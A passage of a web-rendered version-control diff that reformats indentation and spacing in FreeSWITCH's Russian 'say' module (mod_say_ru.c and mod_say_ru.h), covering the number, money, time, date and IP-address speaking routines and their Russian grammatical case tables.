+                                if ((strlen(matrix[casus][say_type].million[c * 2])) > 0) {        // не произносить если не заданно например 1 миллион а просто миллион
+                                        say_file("digits/%s.wav", matrix[casus][say_type].million[c * 2])
</ins><span class="cx">                                 }
</span><del>-                                say_file("digits/%s.wav", matrix[casus][say_type].million[c*2+1]);
-                        } else if (what==thousand) {
-                                if ((strlen(matrix[casus][say_type].thousand[c*2])) > 0) { // не произносить если не заданно например одна тысячас а просто тысяча
-                                        say_file("digits/%s.wav", matrix[casus][say_type].thousand[c*2])
</del><ins>+                                say_file("digits/%s.wav", matrix[casus][say_type].million[c * 2 + 1]);
+                        } else if (what == thousand) {
+                                if ((strlen(matrix[casus][say_type].thousand[c * 2])) > 0) {        // не произносить если не заданно например одна тысячас а просто тысяча
+                                        say_file("digits/%s.wav", matrix[casus][say_type].thousand[c * 2])
</ins><span class="cx">                                 }
</span><del>-                                say_file("digits/%s.wav", matrix[casus][say_type].thousand[c*2+1]);
-                        } else { //просто произнести цифры с префиксом и окончанием
</del><ins>+                                say_file("digits/%s.wav", matrix[casus][say_type].thousand[c * 2 + 1]);
+                        } else {                        //просто произнести цифры с префиксом и окончанием
</ins><span class="cx">                                 say_file("digits/%s.wav", matrix[casus][say_type].num[c]);
</span><span class="cx">                         }
</span><del>-                } else /* больше 5 */ {
-                        if (what==million) {
</del><ins>+                } else {                                /* больше 5 */
+
+                        if (what == million) {
</ins><span class="cx">                                 say_file("digits/%s%d%s.wav", matrix[casus][say_type].million[12], c, matrix[casus][say_type].million[13]);
</span><span class="cx">                                 say_file("digits/%s.wav", matrix[casus][say_type].million[11]);
</span><del>-                        } else if (what==thousand) {
</del><ins>+                        } else if (what == thousand) {
</ins><span class="cx">                                 say_file("digits/%s%d%s.wav", matrix[casus][say_type].thousand[12], c, matrix[casus][say_type].thousand[13]);
</span><span class="cx">                                 say_file("digits/%s.wav", matrix[casus][say_type].thousand[11]);
</span><del>-                        } else { //просто произнести цифры с префиксом и окончанием
</del><ins>+                        } else {                        //просто произнести цифры с префиксом и окончанием
</ins><span class="cx">                                 say_file("digits/%s%d%s.wav", matrix[casus][say_type].num[6], c, matrix[casus][say_type].num[7]);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><del>-}
</del><ins>+}
</ins><span class="cx">
</span><span class="cx">
</span><del>-static switch_status_t ru_say_count(switch_core_session_t *session,
-                                                                        char *tosay, say_type_t say_type, casus_t casus, switch_input_args_t *args)
</del><ins>+static switch_status_t ru_say_count(switch_core_session_t *session, char *tosay, say_type_t say_type, casus_t casus, switch_input_args_t *args)
</ins><span class="cx"> {
</span><span class="cx">         int in;
</span><span class="cx">         int x = 0;
</span><span class="lines">@@ -237,41 +238,45 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                //миллионы                
-                if (places[8] || places[7] || places[6])        {
-                        if ((in_%1000000>0)&&(matrix[casus][say_type].all != 1)) {// если поле миллионов есть цифры поизнести как числительое именительного падежа
</del><ins>+                //миллионы
+                if (places[8] || places[7] || places[6]) {
+                        if ((in_ % 1000000 > 0) && (matrix[casus][say_type].all != 1)) {        // если поле миллионов есть цифры поизнести как числительое именительного падежа
</ins><span class="cx">                                 if ((status = play_group(male_c, nominativus, places[8], places[7], places[6], million, session, args)) != SWITCH_STATUS_SUCCESS) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d million! status=%d\n", places[8], places[7], places[6],status);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d million! status=%d\n", places[8], places[7], places[6],
+                                                                         status);
</ins><span class="cx">                                         return status;
</span><span class="cx">                                 }
</span><del>-                        } else {// иначе произнести в нужном падеже
-                                if ((status = play_group(say_type,casus, places[8], places[7], places[6],million, session, args)) != SWITCH_STATUS_SUCCESS) {
-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d million! status=%d\n", places[8], places[7], places[6],status);
</del><ins>+                        } else {                        // иначе произнести в нужном падеже
+                                if ((status = play_group(say_type, casus, places[8], places[7], places[6], million, session, args)) != SWITCH_STATUS_SUCCESS) {
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d million! status=%d\n", places[8], places[7], places[6],
+                                                                         status);
</ins><span class="cx">                                         return status;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                //тысячи                
-                if (places[5]||places[4]||places[3])        {
-                        if ((in_%1000>0)&&(matrix[casus][say_type].all != 1)) {// если поле миллионов есть цифры поизнести как числительое именительного падежа
-                                if ((status = play_group(male_c, nominativus, places[5], places[4], places[3],thousand, session, args)) != SWITCH_STATUS_SUCCESS) {
-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d thousand! status=%d\n", places[5], places[4], places[3],status);
</del><ins>+                //тысячи
+                if (places[5] || places[4] || places[3]) {
+                        if ((in_ % 1000 > 0) && (matrix[casus][say_type].all != 1)) {        // если поле миллионов есть цифры поизнести как числительое именительного падежа
+                                if ((status = play_group(male_c, nominativus, places[5], places[4], places[3], thousand, session, args)) != SWITCH_STATUS_SUCCESS) {
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d thousand! status=%d\n", places[5], places[4], places[3],
+                                                                         status);
</ins><span class="cx">                                         return status;
</span><span class="cx">                                 }
</span><del>-                        } else {// иначе произнести в нужном падеже
-                                if ((status = play_group(say_type, casus, places[5], places[4], places[3], thousand,session, args)) != SWITCH_STATUS_SUCCESS) {
-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d thousand! status=%d\n", places[5], places[4], places[3],status);
</del><ins>+                        } else {                        // иначе произнести в нужном падеже
+                                if ((status = play_group(say_type, casus, places[5], places[4], places[3], thousand, session, args)) != SWITCH_STATUS_SUCCESS) {
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d thousand! status=%d\n", places[5], places[4], places[3],
+                                                                         status);
</ins><span class="cx">                                         return status;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 // сотни
</span><span class="cx">                 if ((status = play_group(say_type, casus, places[2], places[1], places[0], empty, session, args)) != SWITCH_STATUS_SUCCESS) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d thousand! status=%d\n", places[5], places[4], places[3],status);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d thousand! status=%d\n", places[5], places[4], places[3], status);
</ins><span class="cx">                         return status;
</span><span class="cx">                 }
</span><del>-        } else {
-                if ((status = play_group(say_type, casus, places[2], places[1], places[0], zero, session, args)) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        } else {
+                if ((status = play_group(say_type, casus, places[2], places[1], places[0], zero, session, args)) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d other!\n", places[2], places[1], places[0]);
</span><span class="cx">                         return status;
</span><span class="cx">                 }
</span><span class="lines">@@ -285,26 +290,26 @@
</span><span class="cx">                                                                                         char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status;
</span><del>-        casus_t casus; //падеж
-        say_type_t say_type;//тип произношения
</del><ins>+        casus_t casus;                                //падеж
+        say_type_t say_type;                //тип произношения
</ins><span class="cx">
</span><span class="cx">         switch (type) {
</span><del>-                case SST_MESSAGES:
-                        say_type=it_c;
-                        casus=nominativus;
-                        break;
-                default:
-                        say_type=male_c;
-                        casus=nominativus;
-                        break;         
</del><ins>+        case SST_MESSAGES:
+                say_type = it_c;
+                casus = nominativus;
+                break;
+        default:
+                say_type = male_c;
+                casus = nominativus;
+                break;
</ins><span class="cx">         };
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " type=%d casus=%d\n", say_type,casus);
-        status=ru_say_count(session,tosay,say_type,casus,args);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " type=%d casus=%d\n", say_type, casus);
+        status = ru_say_count(session, tosay, say_type, casus, args);
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t ru_say_money(switch_core_session_t *session, char *tosay, switch_say_type_t type,
</span><del>-                                                                        switch_say_method_t method,switch_input_args_t *args)
</del><ins>+                                                                        switch_say_method_t method, switch_input_args_t *args)
</ins><span class="cx"> {
</span><span class="cx">         char sbuf[16] = "";
</span><span class="cx">         char *rubles = NULL;
</span><span class="lines">@@ -314,7 +319,7 @@
</span><span class="cx">         int ikopecks = 0;
</span><span class="cx">         int ikopeck = 0;
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " ru_say_money %s\n",tosay );
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " ru_say_money %s\n", tosay);
</ins><span class="cx">
</span><span class="cx">         if (strlen(tosay) > 15 || !(tosay = strip_nonnumerics(tosay, sbuf, sizeof(sbuf)))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Parse Error!\n");
</span><span class="lines">@@ -338,24 +343,24 @@
</span><span class="cx">                 rubles++;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        ru_say_count(session,rubles ,male_c,nominativus ,args);
</del><ins>+        ru_say_count(session, rubles, male_c, nominativus, args);
</ins><span class="cx">
</span><span class="cx">         if (rubles) {
</span><del>-                irubles = atoi(rubles)%100;
-                iruble = atoi(rubles)%10;
</del><ins>+                irubles = atoi(rubles) % 100;
+                iruble = atoi(rubles) % 10;
</ins><span class="cx">         }
</span><span class="cx">
</span><del>-        if (irubles == 1 || (irubles > 20 && iruble == 1)) {/* рубль */
</del><ins>+        if (irubles == 1 || (irubles > 20 && iruble == 1)) {        /* рубль */
</ins><span class="cx">                 say_file("currency/ruble.wav");
</span><del>-        } else if ((irubles > 1 && irubles < 5) || (irubles > 20 && iruble > 1 && iruble < 5)) { /*рубля */
</del><ins>+        } else if ((irubles > 1 && irubles < 5) || (irubles > 20 && iruble > 1 && iruble < 5)) {        /*рубля */
</ins><span class="cx">                 say_file("currency/ruble-a.wav");
</span><del>-        } else { /*рублей */
</del><ins>+        } else {                                        /*рублей */
</ins><span class="cx">                 say_file("currency/rubles.wav");
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* Say kopecks */
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " %s\n",kopecks );
-        ru_say_count(session, kopecks ,female_c, nominativus, args);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " %s\n", kopecks);
+        ru_say_count(session, kopecks, female_c, nominativus, args);
</ins><span class="cx">
</span><span class="cx">         if (kopecks) {
</span><span class="cx">                 ikopecks = atoi(kopecks) % 100;
</span><span class="lines">@@ -386,7 +391,7 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         const char *tz = switch_channel_get_variable(channel, "timezone");
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " ru_say_time %s type=%d method=%d\n",tosay, type,method );
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " ru_say_time %s type=%d method=%d\n", tosay, type, method);
</ins><span class="cx">
</span><span class="cx">         if (type == SST_TIME_MEASUREMENT) {
</span><span class="cx">                 int64_t hours = 0;
</span><span class="lines">@@ -428,38 +433,38 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                switch_snprintf(buf, sizeof(buf), "%u", (unsigned)hours);
-                ru_say_count(session,buf ,male_c,nominativus,args);
</del><ins>+                switch_snprintf(buf, sizeof(buf), "%u", (unsigned) hours);
+                ru_say_count(session, buf, male_c, nominativus, args);
</ins><span class="cx">
</span><del>-                if (((hours%10) == 1) && (hours!=11)) {
</del><ins>+                if (((hours % 10) == 1) && (hours != 11)) {
</ins><span class="cx">                         /* час */
</span><span class="cx">                         say_file("time/hour.wav");
</span><del>-                } else if (((hours%10>1)&&(hours%10<5)) &&((hours<12)||(hours>14))) {
-                        say_file("time/hours-a.wav"); /* часа */
</del><ins>+                } else if (((hours % 10 > 1) && (hours % 10 < 5)) && ((hours < 12) || (hours > 14))) {
+                        say_file("time/hours-a.wav");        /* часа */
</ins><span class="cx">                 } else {
</span><del>-                        say_file("time/hours.wav"); /* часов*/
</del><ins>+                        say_file("time/hours.wav");        /* часов */
</ins><span class="cx">                 }
</span><span class="cx">
</span><del>-                switch_snprintf(buf, sizeof(buf), "%u", (unsigned)minutes); //перевести минуты в *char
-                ru_say_count(session,buf ,female_c,nominativus,args);
</del><ins>+                switch_snprintf(buf, sizeof(buf), "%u", (unsigned) minutes);        //перевести минуты в *char
+                ru_say_count(session, buf, female_c, nominativus, args);
</ins><span class="cx">
</span><del>-                if (((minutes%10) == 1) && (minutes!=11)) {
-                        say_file("time/minute.wav"); //минута
-                } else if (((minutes%10>1)&&(minutes%10<5))&&((minutes<12)||(minutes>14))){
-                        say_file("time/minutes-i.wav"); // минуты
</del><ins>+                if (((minutes % 10) == 1) && (minutes != 11)) {
+                        say_file("time/minute.wav");        //минута
+                } else if (((minutes % 10 > 1) && (minutes % 10 < 5)) && ((minutes < 12) || (minutes > 14))) {
+                        say_file("time/minutes-i.wav");        // минуты
</ins><span class="cx">                 } else {
</span><del>-                        say_file("time/minutes.wav"); //минут
</del><ins>+                        say_file("time/minutes.wav");        //минут
</ins><span class="cx">                 }
</span><span class="cx">
</span><del>-                if (seconds!=0) {
-                        switch_snprintf(buf, sizeof(buf), "%u", (unsigned)seconds);
-                        ru_say_count(session,buf ,female_c,nominativus,args);
-                        if (((seconds%10) == 1) && (seconds!=11)) {
-                                say_file("time/second.wav"); // секунда
-                        } else if (((seconds%10>1)&&(seconds%10<5))&&((seconds<12)||(seconds>14))) {
-                                say_file("time/seconds-i.wav"); // секуны
</del><ins>+                if (seconds != 0) {
+                        switch_snprintf(buf, sizeof(buf), "%u", (unsigned) seconds);
+                        ru_say_count(session, buf, female_c, nominativus, args);
+                        if (((seconds % 10) == 1) && (seconds != 11)) {
+                                say_file("time/second.wav");        // секунда
+                        } else if (((seconds % 10 > 1) && (seconds % 10 < 5)) && ((seconds < 12) || (seconds > 14))) {
+                                say_file("time/seconds-i.wav");        // секуны
</ins><span class="cx">                         } else {
</span><del>-                                say_file("time/seconds.wav"); //секунд
</del><ins>+                                say_file("time/seconds.wav");        //секунд
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -488,43 +493,43 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch (type) {
</span><del>-                case SST_CURRENT_DATE_TIME:
-                        say_date = say_time = 1;
-                        break;
-                case SST_CURRENT_DATE:
</del><ins>+        case SST_CURRENT_DATE_TIME:
+                say_date = say_time = 1;
+                break;
+        case SST_CURRENT_DATE:
+                say_date = 1;
+                break;
+        case SST_CURRENT_TIME:
+                say_time = 1;
+                break;
+        case SST_SHORT_DATE_TIME:
+                say_time = 1;
+                if (tm.tm_year != tm_now.tm_year) {
</ins><span class="cx">                         say_date = 1;
</span><span class="cx">                         break;
</span><del>-                case SST_CURRENT_TIME:
-                        say_time = 1;
</del><ins>+                }
+                if (tm.tm_yday == tm_now.tm_yday) {
+                        say_today = 1;
</ins><span class="cx">                         break;
</span><del>-                case SST_SHORT_DATE_TIME:
-                        say_time = 1;
-                        if (tm.tm_year != tm_now.tm_year) {
-                                say_date = 1;
-                                break;
-                        }
-                        if (tm.tm_yday == tm_now.tm_yday) {
-                                say_today = 1;
-                                break;
-                        }
-                        if (tm.tm_yday == tm_now.tm_yday - 1) {
-                                say_yesterday = 1;
-                                break;
-                        }
-                        if (tm.tm_yday >= tm_now.tm_yday - 5) {
-                                say_dow = 1;
-                                break;
-                        }
-                        if (tm.tm_mon != tm_now.tm_mon) {
-                                say_month = say_day = say_dow = 1;
-                                break;
-                        }
-
</del><ins>+                }
+                if (tm.tm_yday == tm_now.tm_yday - 1) {
+                        say_yesterday = 1;
+                        break;
+                }
+                if (tm.tm_yday >= tm_now.tm_yday - 5) {
+                        say_dow = 1;
+                        break;
+                }
+                if (tm.tm_mon != tm_now.tm_mon) {
</ins><span class="cx">                         say_month = say_day = say_dow = 1;
</span><ins>+                        break;
+                }
</ins><span class="cx">
</span><del>-                        break;
-                default:
-                        break;
</del><ins>+                say_month = say_day = say_dow = 1;
+
+                break;
+        default:
+                break;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (say_today) {
</span><span class="lines">@@ -541,30 +546,28 @@
</span><span class="cx">                 say_today = say_yesterday = 0;
</span><span class="cx">         }
</span><span class="cx">         if (say_day) {
</span><del>-                switch_snprintf(buf, sizeof(buf), "%u", (unsigned)tm.tm_mday);
-                ru_say_count(session,buf ,male_h,genitivus,args);
</del><ins>+                switch_snprintf(buf, sizeof(buf), "%u", (unsigned) tm.tm_mday);
+                ru_say_count(session, buf, male_h, genitivus, args);
</ins><span class="cx">         }
</span><span class="cx">         if (say_month) {
</span><span class="cx">                 say_file("time/mon-%d.wav", tm.tm_mon);
</span><span class="cx">         }
</span><span class="cx">         if (say_year) {
</span><del>-                switch_snprintf(buf, sizeof(buf), "%u", (unsigned)(tm.tm_year + 1900));
-                ru_say_count(session,buf ,male_h,genitivus,args);
</del><ins>+                switch_snprintf(buf, sizeof(buf), "%u", (unsigned) (tm.tm_year + 1900));
+                ru_say_count(session, buf, male_h, genitivus, args);
</ins><span class="cx">                 say_file("time/h-year.wav");
</span><span class="cx">         }
</span><del>-        if (say_month||say_year||say_date||say_dow)
-        {
</del><ins>+        if (say_month || say_year || say_date || say_dow) {
</ins><span class="cx">                 say_file("time/at.wav");
</span><span class="cx">         }
</span><span class="cx">         if (say_time) {
</span><del>-                switch_snprintf(buf, sizeof(buf), "%d:%d:%d",tm.tm_hour+1,tm.tm_min,tm.tm_sec);
</del><ins>+                switch_snprintf(buf, sizeof(buf), "%d:%d:%d", tm.tm_hour + 1, tm.tm_min, tm.tm_sec);
</ins><span class="cx">                 ru_say_time(session, buf, SST_TIME_MEASUREMENT, method, args);
</span><span class="cx">         }
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t ru_ip(switch_core_session_t *session, char *tosay, switch_say_type_t type, switch_say_method_t method,
-                                                         switch_input_args_t *args)
</del><ins>+static switch_status_t ru_ip(switch_core_session_t *session, char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args)
</ins><span class="cx"> {
</span><span class="cx">         char *a, *b, *c, *d;
</span><span class="cx">         if (!(a = switch_core_session_strdup(session, tosay))) {
</span><span class="lines">@@ -589,16 +592,16 @@
</span><span class="cx">
</span><span class="cx">         *d++ = '\0';
</span><span class="cx">
</span><del>-        ru_say_count(session,a ,male_c,nominativus,args);
</del><ins>+        ru_say_count(session, a, male_c, nominativus, args);
</ins><span class="cx">         say_file("digits/dot.wav");
</span><span class="cx">
</span><del>-        ru_say_count(session,b ,male_c,nominativus,args);
</del><ins>+        ru_say_count(session, b, male_c, nominativus, args);
</ins><span class="cx">         say_file("digits/dot.wav");
</span><span class="cx">
</span><del>-        ru_say_count(session,c ,male_c,nominativus,args);
</del><ins>+        ru_say_count(session, c, male_c, nominativus, args);
</ins><span class="cx">         say_file("digits/dot.wav");
</span><span class="cx">
</span><del>-        ru_say_count(session,d ,male_c,nominativus,args);
</del><ins>+        ru_say_count(session, d, male_c, nominativus, args);
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -607,40 +610,40 @@
</span><span class="cx">         switch_say_callback_t say_cb = NULL;
</span><span class="cx">
</span><span class="cx">         switch (type) {
</span><del>-                        case SST_NUMBER:
-                        case SST_ITEMS:
-                        case SST_PERSONS:
-                        case SST_MESSAGES:
-                                say_cb = ru_say_general_count;
-                                break;
-                        case SST_TIME_MEASUREMENT:
-                                say_cb = ru_say_time;
-                                break;
</del><ins>+        case SST_NUMBER:
+        case SST_ITEMS:
+        case SST_PERSONS:
+        case SST_MESSAGES:
+                say_cb = ru_say_general_count;
+                break;
+        case SST_TIME_MEASUREMENT:
+                say_cb = ru_say_time;
+                break;
</ins><span class="cx">
</span><del>-                        case SST_CURRENT_DATE:
-                                say_cb = ru_say_time;
-                                break;
</del><ins>+        case SST_CURRENT_DATE:
+                say_cb = ru_say_time;
+                break;
</ins><span class="cx">
</span><del>-                        case SST_CURRENT_TIME:
-                                say_cb = ru_say_time;
-                                break;
</del><ins>+        case SST_CURRENT_TIME:
+                say_cb = ru_say_time;
+                break;
</ins><span class="cx">
</span><del>-                        case SST_CURRENT_DATE_TIME:
-                                say_cb = ru_say_time;
-                                break;
-                        case SST_IP_ADDRESS:
-                                say_cb = ru_ip;
-                                break;
-                        case SST_NAME_SPELLED:
-                        case SST_NAME_PHONETIC:
-                                say_cb = ru_spell;
-                                break;
-                        case SST_CURRENCY:
-                                say_cb = ru_say_money;
-                                break;
-                        default:
-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unknown Say type=[%d]\n", type);
-                                break;
</del><ins>+        case SST_CURRENT_DATE_TIME:
+                say_cb = ru_say_time;
+                break;
+        case SST_IP_ADDRESS:
+                say_cb = ru_ip;
+                break;
+        case SST_NAME_SPELLED:
+        case SST_NAME_PHONETIC:
+                say_cb = ru_spell;
+                break;
+        case SST_CURRENCY:
+                say_cb = ru_say_money;
+                break;
+        default:
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unknown Say type=[%d]\n", type);
+                break;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (say_cb) {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodsaymod_say_rumod_say_ruh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -5,52 +5,52 @@
</span><span class="cx"> * mod_say_ru.c -- Say for Russian
</span><span class="cx"> *
</span><span class="cx"> */
</span><del>-
</del><span class="cx">
</span><ins>+
</ins><span class="cx"> //слишком много падежей поэтому пришлось сделать массив значений
</span><span class="cx"> //пример таблицы склонений для 1 ниже по ссылкам
</span><span class="cx"> //http://ru.wiktionary.org/wiki/%D0%BE%D0%B4%D0%B8%D0%BD
</span><span class="cx"> //http://ru.wiktionary.org/wiki/%D0%BF%D0%B5%D1%80%D0%B2%D1%8B%D0%B9
</span><span class="cx">
</span><span class="cx"> typedef enum {
</span><del>- million,
- thousand,
- zero,
- empty
</del><ins>+        million,
+        thousand,
+        zero,
+        empty
</ins><span class="cx"> } unit_t;
</span><span class="cx">
</span><span class="cx"> //тип числа порядковое или количественное
</span><del>-typedef enum{
- nominativus, // именительный Кто? Что?
- genitivus, // Родительный Кого? Чего?
- dativus, // дательный Кого? Что?
- accusativus_a, // Винительный Кого? animate - одушевлённый
- accusativus_i, // Винительный Что? inanimate - неодушевлённый
- instrumentalis, // Творительный Кем? Чем?
- prepositive // Предложный О ком? О чём?
</del><ins>+typedef enum {
+        nominativus,                                // именительный Кто? Что?
+        genitivus,                                        // Родительный Кого? Чего?
+        dativus,                                        // дательный Кого? Что?
+        accusativus_a,                                // Винительный Кого? animate - одушевлённый
+        accusativus_i,                                // Винительный Что? inanimate - неодушевлённый
+        instrumentalis,                                // Творительный Кем? Чем?
+        prepositive                                        // Предложный О ком? О чём?
</ins><span class="cx"> } casus_t;
</span><del>-
</del><span class="cx">
</span><ins>+
</ins><span class="cx"> typedef enum {
</span><del>- //количественный
- male_c, //мужского пола
- it_c, //среднего
- female_c, //женского
- plural_c, //множественное число
- //порядковый
- male_h, //порядковое мужского пола
- it_h, //порядковое среднего
- female_h, //порядковое женского
- plural_h //порядковое множественное число
</del><ins>+        //количественный
+        male_c,                                                //мужского пола
+        it_c,                                                //среднего
+        female_c,                                        //женского
+        plural_c,                                        //множественное число
+        //порядковый
+        male_h,                                                //порядковое мужского пола
+        it_h,                                                //порядковое среднего
+        female_h,                                        //порядковое женского
+        plural_h                                        //порядковое множественное число
</ins><span class="cx"> } say_type_t;
</span><del>-
</del><span class="cx">
</span><span class="cx">
</span><del>-struct say_t{
- char *num[8];
- char *thousand[14];
- char *million[14];
- int all;
</del><ins>+
+struct say_t {
+        char *num[8];
+        char *thousand[14];
+        char *million[14];
+        int all;
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -69,7 +69,7 @@
</span><span class="cx">         {"","","1","million","2","million-a","3","million-a","4","million-a","5","millions","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний род именительный падеж
</del><ins>+                                                                //средний род именительный падеж
</ins><span class="cx"> #define m_01 {\
</span><span class="cx">         {"0","1n","2","3","4","5","",""},\
</span><span class="cx">         {"","","1f","thousand","2f","thousands-i","3","thousands-i","4","thousands-i","5","thousands","",""},\
</span><span class="lines">@@ -101,14 +101,14 @@
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_05 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//женский
</del><ins>+                                                                //женский
</ins><span class="cx"> #define m_06 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="lines">@@ -135,7 +135,7 @@
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_11 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="lines">@@ -168,14 +168,14 @@
</span><span class="cx">         {"","","","h-millionx","h-2xx","h-millionx","h-3xx","h-millionx","h-4xx","h-millionx","h-5xx","h-millionx","h-","xx"},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_15 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//женский
</del><ins>+                                                                //женский
</ins><span class="cx"> #define m_16 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="lines">@@ -202,7 +202,7 @@
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_21 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="lines">@@ -234,14 +234,14 @@
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_25 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//женский
</del><ins>+                                                                //женский
</ins><span class="cx"> #define m_26 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="lines">@@ -268,7 +268,7 @@
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_31 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="lines">@@ -300,14 +300,14 @@
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_35 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//женский
</del><ins>+                                                                //женский
</ins><span class="cx"> #define m_36 {\
